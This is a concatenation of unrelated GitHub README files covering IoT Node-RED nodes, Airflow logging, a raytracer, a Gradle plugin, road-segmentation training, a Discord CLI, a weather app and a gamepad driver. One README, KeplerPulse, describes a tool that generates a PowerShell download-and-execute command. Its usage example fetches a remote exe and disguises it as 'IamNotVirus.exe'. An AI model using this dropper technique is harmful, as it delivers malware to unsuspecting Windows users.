Note that `msg.payload` as the data input can be changed to any msg property, a context variable, manually defined string or dynamic JSONata as desired in the node's settings.


text:
# keplerpulse
KeplerPulse is a tool that generates a Powershell command that once executed on a Windows Machine, Downloads and executes your desired Executable on it.

That's it.

This was inspired by metasploit's web delivery module, But KeplerPulse isn't popping shells or hosting directly. Basically you can create such command without this tool.

### USAGE
```bash
git clone https://github.com/quantumcore/keplerpulse
cd keplerpulse
sudo ./install.sh
keplerpulse --p https://myfileserver.com/hi.exe --t C:/Users/%USERNAME%/IamNotVirus.exe
```

**Whatever you may do with keplerpulse is your own responsiblity.**

repository: quantumcore/keplerpulse

repo_name: quantumcore/keplerpulse


text:
#### Logging level
If you want to see more logs from AF webserver in CloudWatch, use following variable
`airflow_core_logging_level`.

#### Persisting logs
There are multiple log types produced by the module. First of all, containers are
writing logs to standard output and those logs are delivered to [CloudWatch log
group](../cloudwatch.tf). We decided not to send all the logs to standard output, in
order to avoid a mess there. So logs from `$AIRFLOW_HOME/logs` are mounted to EFS.
The idea behind it is that these volumes can be mounted to a container with any log
management system agent. This agent can then deliver them to centralized solution like ELK
or Datadog.

On the picture below you can see that logs from worker and webserver containers are
delivered to the same location on EFS. This is done to enable webserver to
retrieve worker (DAG) logs without using worker API. This approach was empirically
more reliable.

![Airflow components schema](./module_architecture.png)

repository: chillivilli/terraform-aws-airflow-ecs

repo_name: chillivilli/terraform-aws-airflow-ecs


text:
# raytracing_the_next_week
Python code for Peter Shirley's 2nd book on raytracing

##Structure

Every chapter in the book has a directory with the code that generates the final image of that chapter, chapter0 was excluded because it didn't had any code or images.

##Notes
The code was written while learning raytracing from the book, even if I tried to make the code efficent or "pythonic", there's still room for improvement so feel free to submit pull requests.

The code was written in python3, it is compatible with python2

Since I tried to use pure python3 and the standard library (No external libraries), the code outputs the image in ppm format directly to standard input, be sure to redirect stdout to a file in your console e.g
```bash
~$ python3 raytracer.py > image.ppm
```

Another thing to be aware of is that this raytracer is really slow. You can gain a significant boost in performance by using PyPy.


text:
# Custom Victron Energy nodes for Node-RED

This library provides custom Node-RED nodes for some of the most commonly used Victron Energy products. The aim is to make it easier and faster for users to create automations without actually having to touch any of the devices' internals.

A Venus device is needed for this library to work. The library connects to a system dbus instance in a VenusOS device -- this can be done either remotely (TCP) or directly. See instructions [here](#Installation-and-Usage).

This library is not officially supported by Victron Energy. For any questions or help, please turn to [community.victronenergy.com](https://community.victronenergy.com). Pull-requests are willingly encouraged!

## Usage and Examples

When the Node-RED is started, a Victron Energy configuration node is automatically created, connecting to the dbus in the Venus device. All the node services and measurements can be found on [services.json](/src/services/services.json) -- however only those services and measurements that are available in the system are shown in the node edit panel.

![Architecture](documentation/images/node-palette.png)

*Node-palette - Input nodes on the left, output nodes on the right*

Here's an example on a functional flow with the Victron Nodes. More in-depth examples and use cases can be found in [wiki/Example-Flows](https://github.com/victronenergy/node-red-contrib-victron/wiki/Example-Flows).

![Architecture](documentation/images/example-nighttime-rates.png)

### Input Nodes

The input nodes have two selectable inputs: the devices select and measurement select. The available options are dynamically updated based on what sort data is actually available on the Venus device dbus.

```
Device Select       - lists all available devices
Measurement Select  - lists all available device-specific measurements
Node label Input    - sets a custom label for the node
```

The measurement unit type is shown in the measurement label in brackets, e.g. Battery voltage (V).
In case the data type is enumerated, an approppriate enum legend is shown below the selected option.

![Architecture](documentation/images/edit-vebus-input.png)

### Output Nodes

Input Nodes have the same options available, but the selectable 'measurement' only lists writable services. Additionally, the user can set an initial value to the service, which is sent whenever the flow is deployed.

All output nodes should have the control value set in its incoming message's `msg.payload` property.

```
Device Select       - lists all available devices
Measurement Select  - lists all available device-specific measurements
Initial value Input - initializes the device when the flow is deployed
Node label Input    - sets a custom label for the node
```

![Architecture](documentation/images/edit-relay-output.png)

### Example Flows

Please head to [wiki/Example-Flows](https://github.com/victronenergy/node-red-contrib-victron/wiki/Example-Flows) for example flows implemented with the Victron Energy nodes.

## Architecture

### Plugin Behavior

All the individual nodes (inputs / outputs) will use a singleton instance of a Victron Config Node to access the system dbus in a Venus device. The nodes will provide an easy-to-use interface for accessing various measurements and writing data to the system.

The following graph demonstrates the architecture of this plugin.

1. Upon initialization, the Victron Config Node initializes a VictronClient and SystemConfiguration instances. VictronClient connects to the Venus D-Bus and starts maintaining a cache of available services.

2. When a user modifies a node (e.g. battery node), the node fetches the available dbus services from the local SystemConfiguration cache and renders relevant inputs to the edit view.

3. When a node is deployed, they either subscribe a message handler to the VictronClient or start publishing data to a desired D-Bus path.

![Architecture](documentation/images/architecture.png)

### Directory Structure
```
.
├── documentation
├── scripts
│   ├── csv                         | input CSV files for the parser script
│   ├── parse-services.js           | parses the services.json used by nodes
│   └── service-whitelist.js        | dbus service/path whitelist for the parser
└── src
    ├── nodes
    │   ├── icons
    │   │   └── victronenergy.svg
    │   ├── config-client.html
    │   ├── config-client.js
    │   ├── victron-nodes.html
    │   └── victron-nodes.js
    └── services
        ├── services.json           | used for node config generation
        ├── utils.js
        ├── dbus-listener.js
        ├── victron-client.js       | Victron Energy dbus-client
        └── victron-system.js       | DBus service cache
```

## Installation and Usage

The end goal is to have Node-RED running on a Venus device itself (this library included), but it is also possible to connect to the Venus device via TCP from an external Node-RED instance. If you would already like to test it out now, please dive into the instructions below to see how it can be done.

In order to use the plugin remotely, Node-RED and the plugin needs to be locally installed:

1. install node-red on your system
2. cd to the node-red user directory, typically `~/.node-red`
3. install node-red-contrib-victron locally, `npm install @victronenergy/node-red-contrib-victron`
4. enable d-bus over tcp in your Venus device **if you want to use dbus over TCP**, otherwise skip this step. Edit `/etc/dbus-1/system.conf` and add the following directly above `<policy context="default">`:

```
  <listen>tcp:host=<IP_ADDRESS>,port=78</listen>
  <auth>ANONYMOUS</auth>
  <allow_anonymous/>
```

5. the client can connect to dbus either using tcp or directly via system socket.
  - the client defaults to a socket connection systembus, with a socket 'unix:path=/var/run/dbus/system_bus_socket'. This should directly work with a Venus device.
  - (You can  `DBUS_SYSTEM_BUS_ADDRESS` to change the systembus socket path or alternatively set `DBUS_SESSION_BUS_ADDRESS` to use sessionbus via socket)
  - set the environment variable `NODE_RED_DBUS_ADDRESS` to connect via TCP. The variable should be a string with an ip and port separated by a colon, e.g. `export NODE_RED_DBUS_ADDRESS=<IP_ADDRESS>:78`

6. you can optionally run the plugin with a DEBUG=* environment variable set, to see additional debug information printed on the shell. E.g. `export DEBUG=node-red-contrib-victron*`

Further information on [nodered.org](https://nodered.org/docs/creating-nodes/first-node) and [github](https://github.com/sbender9/signalk-venus-plugin#plugin-installation--configuration).

## Generating the node specification file (developers)

All the nodes use a manually generated [services.json](/src/services/services.json) file to figure out what dbus services and paths to expose to the end-user. This file is used to e.g. render the labels to the 'Select measurement' dropdowns in node-RED's edit view. Please note, that this file is not a full representation of all available dbus paths -- rather, a subset of services and paths that the node-red nodes actually use.

This `services.json` file is generated using the `parse-services.js` script in `./scripts` directory. The script uses two CSV files, `dataAttributes.csv` and `dataAttributeEnums.csv`, as its primary source to generate an up-to-date listing of available dbus services and dbus paths for Victron Energy's devices.

(Unfortunately, the CSV files are not committed to the repo for now -- if you need to update the services.json, please ask for the CSVs from Victron Staff or run the parse-services script with the `--append` switch).

The parsed services and paths are filtered against a whitelist (`service-whitelist.js`) before saving the file in order to get rid of undesired or deprecated dbus paths and only reveal the paths actually relevant to the VE nodes.

![Parser Script Architecture](documentation/images/parser-script-architecture.png)

1. Before running the script, please ensure that you have valid data csv's (`dataAttributes.csv`, `dataAttributeEnums.csv`) in the `./scrip/csv` directory. Edit the `service-whitelist.js` to control all the available fields to the nodes. (Alternatively use `--append`, see below)
2. Run the script `node run parse-services.js`
3. If some of the whitelisted services or paths are not found on the CSV files, the script will print out all the missing dbus paths. The script will also generate a `missingpaths.template.json` file, which can be manually populated and added as an extra input to the script.
4. Copy, rename and populate the `missingpaths.template.json` and run the script again, this time with an extra argument: `node parse-services.js ./missingpaths.json`. This extra input file can also be used to overwrite parsed CSV rows, for example.
5. You are done! The new fields in `services.json` can be verified using a your favorite diff tool (`git diff`, for example).

## Adding new nodes (developers)

A few modifications to the code are needed in order to add new nodes (or new paths to existing ones). Here's an example on how to add a new input node `victron-test`. It uses the dbus service `com.victronenergy.settings` and has one option for a path `/Settings/TestDbusPath`.

1. Add the nodetype to scripts/service-whitelist.js
```
    "input-test": {
        "settings": [
            "/Settings/TestDbusPath",
        ]
    }
```

2. Run `node parse-services.js ./missingpaths.json` to generate a new `services.json`, which is used to render the node options. If some of the whitelisted path definitions are missing from the given input CSV's (or missingpaths.json), a missingpaths.template.json is generated with pre-filled objects for the path definitions. You should fill in the missing data, and copy-paste the new json objects to missingpaths.json file. Run the script again until no more missing paths are printed to the console.

You can use the `--append` switch to completely bypass the whitelist, missingpaths.json and csv parsing. This is useful if you don't have access to the CSV files. This will simply merge the given input json file with the existing services.json: `node parse-services.json ./additionalPaths.json --append`.

3. Add the following rows to given files:
```
// The following function defines what services are showin in
// /victron/services/ API endpoint.
// src/services/victron-system.js - listAvailableServices()
"input-test": this.getNodeServices("input-test"),

// Creates a new node-definition for node-red backend API
// src/nodes/victron-nodes.js
RED.nodes.registerType('victron-input-test', BaseInputNode);

// Creates a new node-definition for node-red frontend API
// src/nodes/victron-nodes.html
registerInputNode('victron-input-test', 'Test', 'input-test');
```

4. Restart Node-RED and test the new node. It should be visible under Victron Energy nodes. If the path `/Settings/TestDbusPath` is present in dbus under `com.victronenergy.settings`, the node will show the path as an option in its edit panel settings (otherwise it will be hidden and you will probably see a disclaimer text on missing services).

## Releasing a new version (developers)

For a new (internal) release, the following steps are adviced;

1. Run `npm version [major|minor|patch]`
2. Run `npm run release`
3. Run `npm publish`

## Miscellaneous

The original issue tracking the progress can be found on [Venus repository](https://github.com/victronenergy/venus/issues/378).

repository: mbosys/node-red-contrib-victron

repo_name: mbosys/node-red-contrib-victron


text:
# Higher-order

**Higher-order functions** are functions that can treat functions (function as language construct) like any other value, e.g. they can accept functions as arguments and return functions.

**Higher-order logics**
- quantifying over *individuals*
- quantifying over *sets of individuals*
- quantifying over *sets of predicates*

*n-order logics*, ZOL » FOL » SOL » HOL
- Zeroth-order logics, n = 0
- First-order  logics, n = 1
- Second-order logics, n = 2
- Higher-order logics, n > 2

FOL,SOL are not higher-order logics.

To achieve **higher-order** you need to start have variables that range over "higher" concepts.

Orders: a theoretic language with variables that range over objects is a higher-order language (right?)

license: Unlicense


text:
Asciidoctor Gradle Plugin
-------------------------

[![Travis Build Status](https://travis-ci.org/asciidoctor/asciidoctor-gradle-plugin.png?branch=master)](https://travis-ci.org/asciidoctor/asciidoctor-gradle-plugin)

This is a port of the [asciidoctor-maven-plugin][1] project by [@LightGuard][2]. Relies on [asciidoctor-java-integration][3] by [@lordofthejars][4].

Installation
------------

Use the following snippet

    buildscript {
        repositories {
            mavenRepo name: 'Bintray Asciidoctor repo', url: 'http://dl.bintray.com/content/aalmiray/asciidoctor'
            mavenRepo name: 'Bintray JCenter', url: 'http://jcenter.bintray.com'
        }

        dependencies {
            classpath 'org.asciidoctor:asciidoctor-gradle-plugin:0.3.0'
        }
    }

    apply plugin: 'asciidoctor'

Usage
-----

The plugin adds a new task named `asciidoctor`. This task exposes 4 properties as part of its configuration

 * sourceDir - where the asciidoc sources are. Type: File. Default: `src/asciidoc`.
 * outputDir - where generated docs go. Type: File. Default: `$buildDir/asciidoc`.
 * backend - the backend to use. Type: String. Default: `html5`.
 * options - a Map specifying different options that can be sent to Asciidoctor.

Sources may have any of the following extensions in order to be discovered

 * .asciidoc
 * .adoc
 * .asc
 * .ad

Configuration
-------------

The following options may be set using the task's `options` property

 * header_footer - (boolean)
 * template_dir - (String)
 * template_engine - (String)
 * compact - (boolean)
 * doctype - (String)
 * attributes - (Map)

Any key/values set on `attributes` are sent as is to Asciidoctor. You may use this Map to specify an stylesheet for example.
Refer to the [Ascidoctor documentation][asciidoctor_docs] to learn more about these options and attributes.

History
-------

### 0.3.0

 * Supports Asciidoctor 0.1.2
 * Rely on asciidoctor-java.integration

### 0.2.2

 * Fixes [#7][issue_7]. Make up-to-date directory detection work for AsciidoctorTask.

### 0.2.1

 * Fixes [#6][issue_6]. Can't run plugin if Gradle daemon is active.

### 0.2

 * Support Asciidoctor 0.1.1
 * Backends: html5, docbook

### 0.1

 * First release.
 * Supports Asciidoctor 0.0.9
 * Backends: html5

[1]: https://github.com/asciidoctor/asciidoctor-maven-plugin
[2]: https://github.com/LightGuard
[3]: https://github.com/asciidoctor/asciidoctor-java-integration
[4]: https://github.com/lordofthejars
[issue_6]: https://github.com/asciidoctor/asciidoctor-gradle-plugin/pull/6
[issue_7]: https://github.com/asciidoctor/asciidoctor-gradle-plugin/pull/7
[asciidoctor_docs]: http://asciidoctor.org/docs/

repository: noamt/asciidoctor-gradle-plugin

repo_name: noamt/asciidoctor-gradle-plugin


text:
# Run KittiSeg with Our Data
## Clone repository
Clone:
`git clone https://github.com/MarvinTeichmann/KittiSeg.git`
Initialize all submodules:
 `git submodule update --init --recursive`
## Manage Our Data
### rosbag --> .jpg
We have wrote a convert.launch to transfer rosbag  to series of *.jpg with help of Qinghai and got 7507 gray photos from HKUST to Kengkou with a Panoramic camera. Please see [ftp](ftp://ftp.ram-lab.com/write/zhanghui/) for detail.
### labelme
I picked about 60 images every hundred to mark label in [labelme](http://labelme.csail.mit.edu/Release3.0/). The labelme will cover road as red and background as black automatically, so donât forget to change corresponding RGB value in **KittiSeg/hypes/KittiSeg.json**. The default is `road_color: [255,0,255]` and `background: [255,0,0]` and change them into `road_color: [255,0,0]` and `background: [0,0,0]`. Otherwise, you may get totally black photo after 5 hours training.

The mask images is in [KittiSeg/DATA/data_road/training_DIY/Annotation](http://ee4e068.ee.ust.hk:8001/tree/usr/app/KittiSeg/DATA/data_road/training_DIY/Annotation)
### image channel
Change image channel from 1 to 3 with [data_trans.m](http://ee4e068.ee.ust.hk:8001/view/usr/app/KittiSeg/data_trans.m).
### image path list
Create path list train3.txt and val3.txt for inputs images which should be like below: ![](imagepath.png)
TipsïŒFirstly, you'd better write **relative** path not absolute path as the author did. You can also choose to change the os.path in [kitti\_seg\_inout.py](http://ee4e068.ee.ust.hk:8001/edit/usr/app/KittiSeg/inputs/kitti_seg_input.py). Secondly, donât forget the **space** in original image path and label image path, otherwise, you will get error âneed more than 1 value to unpackâ.

Change name of val3.txt and train3.txt in [hypes/KittiSeg.json](http://ee4e068.ee.ust.hk:8001/edit/usr/app/KittiSeg/hypes/KittiSeg.json) into yours.
## Train Our Model
`python  train.py    --hypes  hypes/KittiSeg.json`

Then you will get a folder in in RUNS like [KittiSeg\_2017\_12\_12\_08.30](http://ee4e068.ee.ust.hk:8001/tree/usr/app/KittiSeg/RUNS/KittiSeg_2017_12_12_08.30), which contains images folder, several events, model_files and output.log.

Check the road segmentation in images and you can adjust the testing images folder and  continue to use this model if it's not bad.

`python continue.py  - -logdir    RUNS/KittiSeg_2017_12_12_08.30`

# Video Road segmentation
## Adjust to Our Input
There are three parts that need to change in test.py
[test.py](http://ee4e068.ee.ust.hk:8001/edit/usr/app/KittiSeg/test.py) if you want to run video segmentation, include the videos you have saved or live video. I have marked the three parts.

`python `

# Memory
At least 8G memory is needed and you can change in [KittiSeg/incl/tensorvision/train.py](http://ee4e068.ee.ust.hk:8001/edit/usr/app/KittiSeg/incl/tensorvision/train.py) shown as below:
![](memory.png)
0.9 means 90% of your whole memory.

# KittiSeg_KengKou


text:
# djs

Djs, a cli to speed up discord bots development

## Installation

Use the node package manager [npm](https://www.npmjs.com/package/djs-cli) to install and run djs.

```bash
npm i -g djs-cli
```

## Usage

**Create a new bot**:

To create a new bot directory run :
```bash
djs new -n <name>
```
Use the -c flag to include premade bot commands:
```bash
djs new -n <name> -c
```
All bots created with this package include a help command, while if you choose to include premade moderation commands as well, prebuilt kick and ban commands will be automatically programmed into your bot. In your bot's directory you will find a .env file where you'll need to write the bot token provided by discord.

All bots are saved in a folder called djsBots in your system's homepath.

**Add a command to an existing bot:**

This works only in directories created with the djs cli.

To add a new command to your bot, in you bot's directory run:
```bash
djs generate (or just 'g') -n <name>
```
Use the -m flag to mark it as a moderation command:
```bash
djs generate -n <name> -m
```
Commands added this way will be automatically saved either in your bot's command directory, if it isn't a moderation command, or in the commands/moderationCommands directory.
## Contributing
Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.

Please make sure to update tests as appropriate.

## License
[Apache License 2.0](https://choosealicense.com/licenses/apache-2.0/)

repository: MatteoBuccirossi/djs

repo_name: MatteoBuccirossi/djs


text:
# WEATHER APP

This project is a simple weather app that shows the weather report of a chosen city in any part of the world. A user can enter the name of a city and see the weather conditions. To toggle between C and F, click on the displayed temperature.

![screenshot](./screenshot.png)

## Built With
- JavaScript
- Webpack
- HTML & CSS

## Getting Started
To get a copy up and running follow these simple steps:-

- Clone https://github.com/Alaska01/weatherApp.git to your local machine.
- cd into the weatherApp directory and navigate into the dist directory.
- Open the index.html file with the browser

## Usage
- Clone the project to your local machine
- Run npm install
- npm run watch

### Live Demo
- Click here

## Author
 Aye Daniel Asoo

- Github: [Github](https://github.com/Alaska01)
- Twitter: [Twitter](https://twitter.com/AyeAsoo)
- E-mail: Email
- Linkedin: [Linkedin](https://www.linkedin.com/in/daniel-asoo-aye/)

## 🤝 Contributing

Contributions, issues and feature requests are welcome!

Feel free to check the [issues page](https://github.com/Alaska01/weatherApp/issues).

## Show your support

Give a ⭐ if you like this project!

## Acknowledgments
- Openweather API

## 📝 License

This project is MIT licensed.


text:
# ViGEm Bus Driver

Currently supports emulation of the following USB gamepads:
- [Microsoft Xbox 360 Controller](https://en.wikipedia.org/wiki/Xbox_360_controller)
- [Sony DualShock 4 Controller](https://en.wikipedia.org/wiki/DualShock#DualShock_4)
- [Microsoft Xbox One Controller](https://en.wikipedia.org/wiki/Xbox_One_Controller)
  - Experimental; not ready for stable release yet

## Necessary preparations for Windows 7
Before installing the bus driver on Windows 7 (x86 or x64) the following 3rd party software has to be installed:
 * [Xbox 360 Accessories Software 1.2](https://www.microsoft.com/accessories/en-us/products/gaming/xbox-360-controller-for-windows/52a-00004#techspecs-connect) (contains the missing device drivers)
 * [Microsoft Security Advisory 3033929 Update](https://technet.microsoft.com/en-us/library/security/3033929) has to be installed to support the drivers signature. Download links:
   * [Security Update for Windows 7 (KB3033929)](https://www.microsoft.com/en-us/download/details.aspx?id=46078)
   * [Security Update for Windows 7 for x64-based Systems (KB3033929)](https://www.microsoft.com/en-us/download/details.aspx?id=46148)

## Installation
[Follow the installation instructions](https://github.com/nefarius/ViGEm/wiki/Driver-Installation).

repository: evilC/ViGEmBus

repo_name: evilC/ViGEmBus